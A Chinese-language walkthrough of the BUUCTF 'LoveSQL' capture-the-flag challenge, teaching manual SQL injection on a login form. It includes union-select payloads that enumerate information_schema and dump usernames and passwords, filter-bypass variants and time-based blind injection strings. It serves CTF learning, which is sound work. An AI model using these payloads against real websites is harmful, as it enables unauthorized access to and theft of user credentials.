1. 题目背景与考察要点解析
"极客大挑战"是国内知名的CTF赛事品牌,其2019年赛题中的LoveSQL属于典型的Web安全入门题目。这类SQL注入题目通常模拟真实网站中的数据库交互场景,考察选手对基础SQL语法、注入原理和手工测试技巧的掌握程度。
从题目名称"LoveSQL"可以推测几个关键考察点:
- 基于表单的字符型注入漏洞
- 可能存在过滤机制需要绕过
- 最终目标是获取数据库中的flag信息
- 难度定位在初级到中级之间(相比同系列的EasySQL和BabySQL)
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 基础环境搭建与题目分析
2.1 题目访问与界面观察
首先通过BUUCTF平台访问题目环境,典型界面包含:
- 登录表单(username/password输入框)
- 可能有注册功能
- 页面源码中可能隐藏提示(如注释)
关键检查点:
- 尝试常规测试账号(admin/admin)
- 查看页面源码(Ctrl+U)
- 测试表单提交后的错误回显
2.2 基础注入测试
使用经典测试payload:
sql复制' or 1=1 --
观察三种可能结果:
- 直接登录成功 → 存在明显注入
- 显示SQL错误 → 存在注入但需要调整语法
- 无任何变化 → 可能存在过滤
3. 手工注入全流程实操
3.1 确定注入类型与闭合方式
通过逐步测试确定闭合方式:
- 单引号测试:
'→ 如果报错说明是字符型 - 注释测试:
' --→ 观察是否修复语法错误 - 数字测试:
1 or 1=1→ 判断数字型可能性
3.2 获取数据库结构信息
使用联合查询获取基本信息:
sql复制' union select 1,database() --
关键信息获取顺序:
- 当前数据库名
- 表名(通过information_schema)
- 列名
- 数据内容
3.3 系统表查询技巧
MySQL系统表利用:
sql复制' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --
注意点:
- group_concat避免多行结果显示问题
- 表名可能需要十六进制编码绕过过滤
- 表名常见关键词:user,admin,flag等
4. 常见防御与绕过方法
4.1 基础过滤机制
题目可能设置的过滤:
- 空格 → 用/**/或%0a绕过
- 引号 → 用十六进制或char()函数
- 关键词 → 大小写混合或注释分割
4.2 实战绕过示例
假设题目过滤了select:
sql复制' uni/**/on sel/**/ect 1,2 --
或使用大小写:
sql复制' UniOn SeLeCt 1,2 --
5. 完整利用链与flag获取
5.1 分步获取数据
典型流程:
- 获取表名:
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- - 获取列名:
' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- - 导出数据:
' union select group_concat(username),group_concat(password) from users --
5.2 特殊技巧
当遇到限制时的解决方案:
- 使用limit分页:
limit 0,1 - substr分段读取:
substr((select password from users limit 1),1,10) - 时间盲注:
if(ascii(substr(database(),1,1))>100,sleep(3),0)
6. 赛后总结与提升建议
通过本题可以掌握的技能:
- 手工注入的基本流程
- information_schema的灵活运用
- 常见过滤的绕过思路
- 结果回显的处理技巧
建议延伸学习:
- SQLMap工具的使用
- 盲注技术(布尔/时间)
- WAF绕过高级技巧
- 预编译语句原理
